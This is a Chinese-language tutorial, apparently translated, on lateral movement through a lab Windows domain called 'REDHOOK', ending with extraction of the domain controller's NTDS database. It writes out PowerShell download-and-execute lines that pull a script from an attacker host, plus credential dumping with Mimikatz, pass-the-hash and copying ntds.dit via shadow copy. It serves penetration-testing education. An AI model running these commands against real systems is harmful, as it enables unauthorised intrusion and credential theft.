2、超详细的域渗透过程

大家好!我们在这个write up 里讲下几个不同的入侵 windows domian 时的横向操作。 内容不会过于深入,而会介绍一些基本技巧和流程为了保证测试客观性所以我将使用我们的测试对象lock domain “REDHOOK”. 希望这会成为我们第一个关于 windows domian 的系列教程如果你要具体了解某些细节(比如kerberos  tickets)欢迎发email 谢谢 (作者鬼佬,要问写英文)!

实例:


我们的目标是获取 "redhook.DA" 域账号的鉴别信息假设我们做为攻击者已经成功的进入到目标企业的内部网络,但是我们和目标不在同一个 domian controller 的管理范围, 如下图所示.


另外我们作为攻击者假设已经获得了Client 1.主机上一些有用的本地管理员的鉴别信息。怎么获得的?如果目标网络够大, 就很有可能会在网络分享上找到有用的鉴别信息 (例如各种batch, vbs, .NET, ps1, etc. 文件中), 在找的过程中 "dir /s", "findstr /SI" andFind-InterestingFile 相当管用. 取决于一开始你怎么获得的权限,你可能已经用到了一些很好用的像cobalt strike类型入侵框架,或者你已经在目标网络某台机器是有了一些基本权限功能。虽然在本讲中入侵者使用的是kali,但我也会介绍一些windows 上的小技巧. 最后,本讲中我不会去讲关于绕过防护的技巧,记住实战中触发了防护的话那就代表没戏了。

黑掉 Client 1

像我之前说的我们已经在内网分享内容里得到了 “Client 1” 的鉴别信息。看一下代码
# Mock contents of \\FileServer\Users\bob\Workstations\ErrorLog.bat

@echo off

net use "\\10.0.0.129\C$" /user:bob ImSoSecur3!

if exist "\\10.0.0.129\C$\Program Files\MSBuild\ErrorLog.txt" (
    echo "Sigh, more errors on Client1! Copying.."
    copy "\\10.0.0.129\C$\Program Files\MSBuild\ErrorLog.txt" C:\Users\bob\Logs\Client1\
    del  "\\10.0.0.129\C$\Program Files\MSBuild\ErrorLog.txt"
) else (
    echo "Yaay, no new errors on Client1!"
)

net use "\\10.0.0.129\C$" /delete

我们可以尝试获取上面batch脚本中IP地址的NetBIOS的信息。

Kali:nbtscan -vh IP


如果在windows上使用cmd命令,如上图中所示我们可以看出主机 “WIN7-ENT-CLI1” 连接的是 REDHOOK domain.

PsExec

我们使用 metasploit's P**ec 可以很容易的获取到反弹shell 注意smbuser置的bob是本地账,如果“net use” 命令下我们必须用 “REDHOOK\bob” 同时我们就不设置SMBDomain 参数


除了MetasploitPsExec,我们还能用ImpacketPsExec(RemComSvc 模拟PsExec)

https://github.com/CoreSecurity/impacket/blob/master/examples/wmiexec.py

在没有明文密码的时候我们通过它来传递获取到的HASH作为代替,之后细讲.下图为 ImpacketPsExec脚本使用获取目标shell)


微软也有自带的 PsExec (合法的数字签名过)。

https://docs.microsoft.com/en-us/sysinternals/downloads/psexec

图中命令后面加个 "-s" 可以返回 SYSTEM 权限的shell.

WMI:

Windows 下我们也能用WMIC(内置不需要下载),WMIC不仅可以让你在远程目标上执行命令还能提升WMIC去获取敏感信息和配置操作系统,这些功能已经全部内置。

当然你必须知道怎么用 "cmd.exe /c" and "powershell.exe-exec bypass -command"去达到你的目的.我们提到的所有工具都已经集成了这些基本功能.我们回到用WmiExec ,通过图中命令获取到下图信息这时候你可能已经有了一个可以用来获取hash的半开的shell.


最后用 PowerSploit'sInvoke-WmiCommand 获取hash,由于PSCredential object的关系,这玩意可能比较满要花点时间。 但是用这个脚本你可以获取到如下输出以及内存中的数据。

Pass-The-Hash, WCE & Mimikatz:

有的时候你用工具可能只能获取到账号的NTLM hash拿不到明文。 这时候你可以用 metasploit (p**ec)或者 Impacket (只要是支持PTH的都可以) 之后就简单了。如果你能确定目标本地的windows环境,那就可以用 WCE 或者 Mimikatz 注入NTLM hash 到进程中。


缺点就是使用WCE的做以上操作的话,100%肯定会被发现攻击行为。Mimikatz则是利用 powershell w00t!来直接载入到目标内存中。我习惯用编译过的二进制。


需要注意以上的例子中 domian 设置成了 ".",因为bob的账号虽然属于本地账号,但是也可以当作域账号来使用。我们有很多办法可以获取到shell。也许这部分看起来有点重复,但多知道几个办法没有坏处啊~ 在不同的被限制的情况下可能只有特定的办法可以成功。 要注意 P**ec variants 都可以获取到 SYSTEM 权限 shell  WMI variants只能以登录用户权限来执行命令再说一遍多知道点办法没有坏吃。

Smash-And-Grab

在成功进入到目标子网中之后,我们就可以开始经典的"samsh and grab"操作了。我们的目标是收集到所有可以收集到的信息(明文,hash 密码)。然后考虑如何利用他们。

Metasploit (Mimikatz & hashdump):

通过meterpeters返回的active session 我们可以用使用Mimikatz 获取到明文密
码,或者可以使用hash dump 来获取到所有的本地账号的hash

Secretsdump & Invoke-Mimikatz:

除了上面的办法,我们还可以用Impacket's SecretsDump  PowersploitInvoke-Mimikatz来达到同样的效果(这种情况下 Invoke-Mimikatz 需要被下载到目标服务器上运行)。看下图中,我已经精简化了powershell下载和执行mimikatz的命令.


当然除了上面的还有其他办法,基本套路和工具类似。

侦察

现在我们有了一台REDHOOK域中的机器并且他链接了另外一个子网。我们现在可以开是侦察了!

Impersonation:

因为我们需要了解 domian 的细节内容,我们需要得开一个domian user权限的shell. 这会有一点点问题,我们现在拥有的shell权限不是bob的话就是SYSTEM但是我们可以用 NtQuerySystemInformation 这种神奇的操作来找到其他用户的token 并且切换成他们的身份这个功能就是著名的安全工具

的主要功能。如图,我们看见"REDHOOK\asenath.waite" 已经登录了系统,所以它是优选攻击目标。.

如下图Meterpreter已经内置了可以i让过程简化的 incognito 插件

或者你可以用 Luke Jennings 写的 incognito binary 这个工具和 PsExec 功能类似可以用于远程攻击.

最后再推荐使用 PowerSploit Invoke-TokenManipulation]Invoke-TokenManipulation但是不是很推荐因为安全性不是很靠谱。我已经给他们提了两个相关漏洞(#112&#113)如果这些问题解决了(尤其是113)我会更新下相关操作。我觉得用PowerShell  tokenimpersonation操作是最方便的!

Domain 侦察:

现在我们已经取得了一个具有domain user 权限的shell,我们需要看目前的范围
下有哪些攻击目标 (操作如下)。

C:\Windows\System32> whoami
redhook\asenath.waite

C:\Windows\System32> hostname
WIN7-Ent-CLI1

C:\Windows\System32> ipconfig

Windows IP Configuration


Ethernet adapter Local Area Connection 2:

   Connection-specific DNS Suffix  . : localdomain
   Link-local IPv6 Address . . . . . : fe80::a1ba:a1ab:170c:7916%17
   IPv4 Address. . . . . . . . . . . : 10.0.0.129                    # Attacker's subnet
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . :

Ethernet adapter Bluetooth Network Connection:

   Media State . . . . . . . . . . . : Media disconnected
   Connection-specific DNS Suffix  . :

Ethernet adapter Local Area Connection:

   Connection-specific DNS Suffix  . :
   Link-local IPv6 Address . . . . . : fe80::5ddc:1e6:17e9:9e15%11
   IPv4 Address. . . . . . . . . . . : 10.1.1.2                      # REDHOOK subnet
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 10.1.1.1

Tunnel adapter isatap.{8D0466B5-1F88-480C-A42D-49A871635C9A}:

   Media State . . . . . . . . . . . : Media disconnected
   Connection-specific DNS Suffix  . :

Tunnel adapter isatap.localdomain:

   Media State . . . . . . . . . . . : Media disconnected
   Connection-specific DNS Suffix  . : localdomain

Tunnel adapter isatap.{5CBBE015-1E1C-4926-8025-EBB59E470186}:

   Media State . . . . . . . . . . . : Media disconnected
   Connection-specific DNS Suffix  . :

# A very small network, three hosts, including the one we have just compromised.
C:\Windows\System32> net view
Server Name            Remark

-------------------------------------------------------------------------------
\\REDRUM-DC            red.dc
\\WIN7-ENT-CLI1
\\WIN7-ENT-CLI2

The command completed successfully.

# The DC the user is authenticated to
C:\Windows\System32> echo %logonserver%
\\REDRUM-DC

C:\Windows\System32> ping -n 1 REDRUM-DC

Pinging redrum-dc.redhook.local [10.1.1.200] with 32 bytes of data:
Reply from 10.1.1.200: bytes=32 time<1ms TTL=128

Ping statistics for 10.1.1.200:
    Packets: Sent = 1, Received = 1, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
    Minimum = 0ms, Maximum = 0ms, Average = 0ms

# List local users
C:\Windows\System32> net user

User accounts for \\WIN7-ENT-CLI1

-------------------------------------------------------------------------------
Administrator            bob                      Guest
TemplateAdmin

The command completed successfully.

# List REDHOOK domain users
C:\Windows\System32> net user /domain
The request will be processed at a domain controller for domain RedHook.local.


User accounts for \\Redrum-DC.RedHook.local

-------------------------------------------------------------------------------
Administrator            asenath.waite            Guest
john.smith               krbtgt                   redhook.DA
robert.suydam            wilbur.whateley

The command completed successfully.

# PowerSploit => Invoke-EnumerateLocalAdmin: Find all users who are local Administrators on a box in the 
  network.
C:\Windows\System32> powershell -exec bypass -command "IEX (New-Object System.Net.Webclient).DownloadStrin
g('http://10.0.0.128/PowerView.ps1');Invoke-EnumerateLocalAdmin"

Server      : Redrum-DC.RedHook.local
AccountName : RedHook.local/Administrator                   # Be careful, Administrator is a domain user
SID         : S-1-5-21-129707511-1158432277-3818383092-500    in this case, not a local user!
Disabled    : False
IsGroup     : False
IsDomain    : True
LastLogin   : 28/01/2016 21:38:22

Server      : Redrum-DC.RedHook.local
AccountName : RedHook.local/Enterprise Admins
SID         : S-1-5-21-129707511-1158432277-3818383092-519
Disabled    : False
IsGroup     : True
IsDomain    : True
LastLogin   :

Server      : Redrum-DC.RedHook.local
AccountName : RedHook.local/Domain Admins
SID         : S-1-5-21-129707511-1158432277-3818383092-512
Disabled    : False
IsGroup     : True
IsDomain    : True
LastLogin   :

Server      : WIN7-ENT-CLI1.RedHook.local
AccountName : WIN7-Ent-CLI1/Administrator
SID         : S-1-5-21-280973330-564264495-219324212-500
Disabled    : ERROR
IsGroup     : False
IsDomain    : False
LastLogin   :

Server      : WIN7-ENT-CLI1.RedHook.local
AccountName : RedHook.local/Domain Admins
SID         : S-1-5-21-129707511-1158432277-3818383092-512
Disabled    : False
IsGroup     : True
IsDomain    : True
LastLogin   :

Server      : WIN7-ENT-CLI1.RedHook.local
AccountName : WIN7-Ent-CLI1/bob                            # The local user bob is an admin on Client 1,
SID         : S-1-5-21-280973330-564264495-219324212-1002    we knew this already.
Disabled    : ERROR
IsGroup     : False
IsDomain    : False
LastLogin   :

Server      : WIN7-ENT-CLI1.RedHook.local
AccountName : WIN7-Ent-CLI1/TemplateAdmin                  # Mmm!
SID         : S-1-5-21-280973330-564264495-219324212-1003
Disabled    : ERROR
IsGroup     : False
IsDomain    : False
LastLogin   :

Server      : WIN7-ENT-CLI2.RedHook.local
AccountName : WIN7-ENT-CLI2/Administrator
SID         : S-1-5-21-1588183677-2924731702-2964281847-500
Disabled    : ERROR
IsGroup     : False
IsDomain    : False
LastLogin   :

Server      : WIN7-ENT-CLI2.RedHook.local
AccountName : RedHook.local/Domain Admins
SID         : S-1-5-21-129707511-1158432277-3818383092-512
Disabled    : False
IsGroup     : True
IsDomain    : True
LastLogin   :

Server      : WIN7-ENT-CLI2.RedHook.local
AccountName : WIN7-ENT-CLI2/TemplateAdmin                     # Mmm², very suspicious, the local user
SID         : S-1-5-21-1588183677-2924731702-2964281847-1004    TemplateAdmin is an admin on both "Client
Disabled    : ERROR                                             1" and "Client 2"!
IsGroup     : False
IsDomain    : False
LastLogin   :

# PowerSploit => Get-NetSession: List active, remote, logon sessions on the DC.
C:\Windows\System32> powershell -exec bypass -command "IEX (New-Object System.Net.Webclient).DownloadStrin
g('http://10.0.0.128/PowerView.ps1');Get-NetSession -ComputerName REDRUM-DC"

sesi10_cname                  sesi10_username    sesi10_time    sesi10_idle_time
------------                  ---------------    -----------    ----------------
\\[fe80::18a3:b250:ed6a:28f0] REDRUM-DC$                  10                  10
\\10.1.1.2                    asenath.waite                0                   0

# Same for "Client 2". Crucially, notice that the domain user REDHOOK\Administrator is authenticated to 
  the box and that the connection is originating from the DC!
C:\Windows\System32> powershell -exec bypass -command "IEX (New-Object System.Net.Webclient).DownloadStrin
g('http://10.0.0.128/PowerView.ps1');Get-NetSession -ComputerName WIN7-ENT-CLI2"

sesi10_cname                  sesi10_username    sesi10_time    sesi10_idle_time
------------                  ---------------    -----------    ----------------
\\10.1.1.200                  Administrator             1721                 124
\\10.1.1.2                    asenath.waite                0                   0

# Let's get some more info about that account. Again, this is listing information about 
  REDHOOK\Administrator not the local administrator.
C:\Windows\System32> net user Administrator /domain
The request will be processed at a domain controller for domain RedHook.local.

User name                    Administrator
Full Name
Comment                      Built-in account for administering the computer/dom
ain
User's comment
Country code                 000 (System Default)
Account active               Yes
Account expires              Never

Password last set            25/01/2016 21:15:11
Password expires             Never
Password changeable          26/01/2016 21:15:11
Password required            Yes
User may change password     Yes

Workstations allowed         All
Logon script
User profile
Home directory
Last logon                   28/01/2016 21:38:22

Logon hours allowed          All

Local Group Memberships      *Administrators
Global Group memberships     *Domain Users         *Domain Admins  # Oops, he is a DA!
The command completed successfully.

# We also won't forget to retrieve some info about our fictional target REDHOOK\redhook.DA.
C:\Windows\System32> net user redhook.DA /domain
The request will be processed at a domain controller for domain RedHook.local.

User name                    redhook.DA
Full Name                    redhook DA
Comment
User's comment
Country code                 000 (System Default)
Account active               Yes
Account expires              Never

Password last set            25/01/2016 21:27:37
Password expires             Never
Password changeable          26/01/2016 21:27:37
Password required            Yes
User may change password     Yes

Workstations allowed         All
Logon script
User profile
Home directory
Last logon                   28/01/2016 21:18:56

Logon hours allowed          All

Local Group Memberships
Global Group memberships     *Enterprise Admins    *Domain Admins  # Our target on the other hand is the
                             *Group Policy Creator *Schema Admins    mother root of DA's hehe!
The command completed successfully.
如上图上图所示有了一点获取 domian 管理员的思路。

(1) 中可以看出本地用户 TemplateAdmin 同时是 "client1" 和 "client2"的管理员.
(2) 虽然我们没有TemplateAdmin 的明文密码但是我们有他登录 “client2”的密Hash.
(3) REDHOOK\Administrator 账号能 登录”Client2", 加入我们在用户的登录的情况黑掉他,我们就可以获取到明文密码。我们现在就可以切换成他的账号。这个时候我们就相当于黑掉了这个domain!

考考你们:为什么说"REDHOOK\Administrator"domian 管理员组的? 这种问题可能会出现在MCSA考试中。

Socks Proxy:

还有一件事我需要提到下. metasploit's 通过建立的sessions转发流量,之后我们就可以通过sock 代理进行登录目标机了在使用metasploit 或者 cobaltstrike这个操作相当好用。


通过使用“session 1”route我们就可以用metasploit的各种模组来测试之前测试不到的 /24 子网中的主机啦!


另外,我们可以使用 proxychains (就是一种socks 代理的方式) 来做代理获取到进入的目标机的权限。在设置proxychains时需要正确的设置成metasploit module使用的端口。

还有就是socks proxy只允许 TCP流量留意下这个限制.windows主机的话不能直接用命令行设置socks proxy 但是我们能用 netsh来做端口映射(之后再说) 如果你还想要更强大的功能,你可以尝试用plink来做些SSH牛逼操作。但是这个是本次谈论范畴之外的了。

黑掉 Client 2

"Client 1" and "Client 2" 两台机器上的 同时拥有 TemplateAdmin账号的情况,很有可能密码也是相同,像这样我们拿下"Clinet 2"的过程和我们上面的例子就没什么区别了。 唯一区别我们需要 pivot下我们的shell,还有我们使用hash而不是明文。下面我介绍两种办法,当然还有其他的办法。

Metasploit (PortProxy & PsExec):

虽然我们可以通过metasploit访问"Client 2" 但是链接返回时会出现问题。 这时候我们需要用到portproxy 模组在"Client 1"来建立端口映射。

上面的看着可能有点难懂. "Client 1"  10.1.1.2:9988 上监听, 然后转发所有数据到10.0.0.128:9988. 所有的都在后台发生。事实上在Windows中封装在netsh上。剩下的就是要稍微重新配置下PsExec

Impacket (PsExec) & netsh:

首先我们要在"Client 1"上用netsh先手工设置端口转发。

我们现在设置管关于转发10.0.0.129:5678  10.1.1.3:445的策略.Impacket'sP**ec 需要连接到一个自定义端口默认的话我们不能直接用命令做到,要用python代码实现。


稍作修改之后就可以很简单的P**ec10.0.0.129 然后被转发到 10.1.1.3!


记得用完之后把端口转发规则清掉,下面这个就是命令。

C:\Windows\system32> netsh interface portproxy reset
windows环境?:

恭喜你没办法~ , 假如攻击者使用的是windows环境,P**ec 没法使用默认端口。另外,假如攻击者的机器445端口被占用,上面设置的端口映射规则将无效。(例如这样的规则: 127.0.0.1:445 --> 10.0.0.129:5678). 还有SMB也不能选择临时关闭每次关闭了之后系统都需要重新配置,然后在重启才能打开所以非常的恶心。如果那位大神有办法,请告诉我下怎么解决。这中情况下最好的办法是用pyinstaller Impacket's P**ec进行修改然后重新编译 maaaaz 的操作类似href

Smash-And-Grab

这个步骤取决于"Client 2" 怎么认证REDHOOK\Administrator,可能和第一实例中的不太一样。例如,假如我们用  "net use \\10.1.1.3\C$" 是没有办法获得明文密码或者hash但是"net use\\10.1.1.3\C$ /user:REDHOOK\AdministratorXXXXXXX" 就都能拿到。 In essence,是这个取决于REDHOOK\Administrator用户在登录是有没有输入密码登录。

以下的办法很可能直接解决问题。甚至在没有明文密码的情况下,我们也可以找到一个以REDHOOK\Administrator权限运行的进程然后用incognito impersonate(劫持它的 token从而得到此进程的权限。

Metasploit Easy-Mode (Mimikatz & hashdump &incognito):


这里我们运气比较好,或者说我们的步骤都是预先安排好的呵呵!~我们现在在看下incognito的基础用法。


Impacket (P**ec) & incognito:

由于pivot的关系我们会有点被限制为了演示 我们可以在远程主机上使用incognito , 但是和Invoke-Mimikatz比较有点不太方便 

在跑了这个命令之后会卡住。我进程遇到这种情况,并发现假如不用 “-c”(interactive 模式参数就不会卡住。 但是这样命令就不会正确执行了 如果你不把命令全放在一个bat文件中,那只会运行第一行然后就卡住。 以上情况只有在通过 P**ec 执行 incognito 会出现。
虽然这是一个非常简陋的解决方案,当我们登回机器的时候,我们可以看见我的batch脚本已经正确执行了。
如果谁有更优雅的办法,赶紧告诉我!

文件传输:

这里我用的是Impacket's P**ec自带的 "put" 命令 。更好的办法是用下载的方式把文件传到 pivot box上,比如我们可以用 Powershell  webclient 或者bitsadmin 来做下载操作。其他的办法可以参考Parvez 的文章 here.一旦文件传输成功,我们就可以在主机上创建一个不被限制的 windows 分享文件夹

# Create an unrestricted share.
C:\Users\asenath.waite> md C:\Users\asenath.waite\Desktop\test

C:\Users\asenath.waite> echo Hello > C:\Users\asenath.waite\Desktop\test\test.txt

C:\Users\asenath.waite> net share SomeShare=C:\Users\asenath.waite\Desktop\test /grant:everyone,full
SomeShare was shared successfully.

C:\Users\asenath.waite> net share
Share name   Resource                             Remark

-------------------------------------------------------------------------------
C$           C:\                                  Default share
IPC$                                              Remote IPC
ADMIN$       C:\Windows                           Remote Admin
SomeShare    C:\Users\asenath.waite\Desktop\test

The command completed successfully.

# On the remote host simple mount the share.
C:\Users\belial> net use \\10.0.0.129\SomeShare
The command completed successfully.

C:\Users\belial> type \\10.0.0.129\SomeShare\test.txt
Hello

# Unmount.
C:\Users\belial> net use \\10.0.0.129\SomeShare /delete
\\10.0.0.129\SomeShare was deleted successfully.

# Clean up the share.
C:\Users\asenath.waite> net share C:\Users\asenath.waite\Desktop\test /delete /yes
Users have open files on SomeShare.  Continuing the operation will force the files closed.

SomeShare was deleted successfully.

C:\Users\asenath.waite> rd /S /Q C:\Users\asenath.waite\Desktop\test
Compromising Redrum-DC

目前我们已经获得到了REDHOOK\Administrator 的明文密码,或者我们可以创建自己的 Domain 管理员账号。这样一来我们拿下域控制器的流程就和拿下"client 2“ 一样了。 我就懒得把同样的步骤再打一遍啦~你可以混合使用之前提到的操作。这下面细讲的两个例子,和之前的讲的稍微有点不同。

Socks Proxy & Impacket (WmiExec):

记得我们之前设置的 socks proxy ? 我们可以用来代理所有拿下这个域的操作.另外提醒下socks proxy一定要做在 pivot 上。为了有点变化, 这里我们用Impacket's WmiExec举例。

很简单吧?但是这个不是在所有情况下都能用所以你最好要知道其他的办法。

Sysinternals (P**ec) & Invoke-Mimikatz:

回到我们的主要目标:获取到REDHOOK\redhook.DA的可用鉴别信息。此处我们用到Invoke-Mimikatzdump 远程主机的鉴别信息的功能. Essentially, 我们得 "Client 1" REDHOOK\Administrator权限的shell然后在域控制器上启用Mimikatz 我们这假设已经在kali 环境中得到了一个REDHOOK\redhook.DAactive session.

由于 windows 2k12 r2/8.1 enhanced protection features (安全防护)我只dumphash。拿到明文密码基本是不可能的。但是,如图中所示我们已经获得REDHOOK\redhook.DA  NTLM hash 所以已经有了足够登录域中其他终端的条件


注意:我们这里用0填充了HASHLM部分(用什么填充都无所谓)。当然我们这里不只限用Impacket, Metasploit's P**ec 也可以用来组装执行命令中的NTLM hash 

Pillaging NTDS

获取NTDS通常是最后一步。我非常建议你看下 Sean Metcal 的文章 here 。他的文章描述了几种不同获取本地shell 连接域控制器的操作,还有远程使用WMI的操作。下面我简单说两种办法。

Volume Shadow Copy (Classic-Mode):

我们可以用 vssadmin 来进行这方面的操作.

C:\> whoami
redhook\redhook.da

# Get the path to NTDS, it may not be in the C drive.
C:\> reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NTDS\Parameters

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NTDS\Parameters
    System Schema Version    REG_DWORD    0x45
    Root Domain    REG_SZ    DC=RedHook,DC=local
    Configuration NC    REG_SZ    CN=Configuration,DC=RedHook,DC=local
    Machine DN Name    REG_SZ    CN=NTDS Settings,CN=REDRUM-DC,CN=Servers,CN=There-Be-Dragons,CN=Sites,CN=
                                 Configuration,DC=RedHook,DC=local
    DsaOptions    REG_SZ    1
    IsClone    REG_DWORD    0x0
    ServiceDll    REG_EXPAND_SZ    %systemroot%\system32\ntdsa.dll
    DSA Working Directory    REG_SZ    C:\Windows\NTDS
    DSA Database file    REG_SZ    C:\Windows\NTDS\ntds.dit
    Database backup path    REG_SZ    C:\Windows\NTDS\dsadata.bak
    Database log files path    REG_SZ    C:\Windows\NTDS
    Hierarchy Table Recalculation interval (minutes)    REG_DWORD    0x2d0
    Database logging/recovery    REG_SZ    ON
    DS Drive Mappings    REG_MULTI_SZ    c:\=\\?\Volume{1c6c559b-3db6-11e5-80ba-806e6f6e6963}\
    DSA Database Epoch    REG_DWORD    0x7983
    Strict Replication Consistency    REG_DWORD    0x1
    Schema Version    REG_DWORD    0x45
    ldapserverintegrity    REG_DWORD    0x1
    Global Catalog Promotion Complete    REG_DWORD    0x1
    DSA Previous Restore Count    REG_DWORD    0x1

# Create a shadow copy of C.
C:\> vssadmin create shadow /for=c:
vssadmin 1.1 - Volume Shadow Copy Service administrative command-line tool
(C) Copyright 2001-2013 Microsoft Corp.

Successfully created shadow copy for 'c:\'
    Shadow Copy ID: {e0fd5b2d-b32d-4bba-89a2-efcf0b7b8fda}
    Shadow Copy Volume Name: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1

# Copy out ntds and the system hive.
C:\> copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\ntds.dit C:\ntds.dit
        1 file(s) copied.
        
C:\> copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\system.hive
        1 file(s) copied.
得到文件之后,我们可以本地使用Impacket's SecretsDump 来获取文件内容。 见下图

NTDS可能包含成千上万的用户账号信息,信息量比较大。测试的时候不要超纲瞎搞等下管理员会被你吓死的!我们还可以使用 Invoke-NinjaCopy 一样的效果可以参考 Sean Metcalf的文章 .

Socks Proxy & Impacket (SecretsDump) (Easy-Mode):

如果你已经设置好了pivot socks代理 ,那我们就可以简单对 SecretsDump 行代理。然后用明文或者Hash来登录域控制器。
总结

这个帖子的主要目的是说一下几种不同的攻击技巧,根据不同的情况下可以选用到其中几种办法。希望这帖子能让你了解到在DA中横向移动的技巧!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值